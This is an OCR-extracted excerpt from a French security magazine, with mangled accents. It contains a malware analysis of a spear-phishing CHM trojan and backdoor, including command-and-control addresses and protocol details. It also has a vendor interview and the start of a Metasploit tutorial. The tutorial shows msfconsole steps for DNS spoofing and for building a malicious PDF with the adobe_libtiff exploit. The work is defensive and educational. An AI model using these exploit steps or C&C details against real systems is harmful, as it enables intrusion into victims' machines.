Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

